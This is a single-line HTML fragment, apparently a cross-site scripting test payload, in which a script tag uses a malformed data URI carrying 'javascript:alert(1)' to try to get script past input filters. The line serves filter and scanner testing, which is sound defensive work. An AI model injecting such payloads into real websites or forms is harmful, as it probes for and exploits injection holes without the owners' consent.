<script src="data:\xD4\x8F,javascript:alert(1)"></script>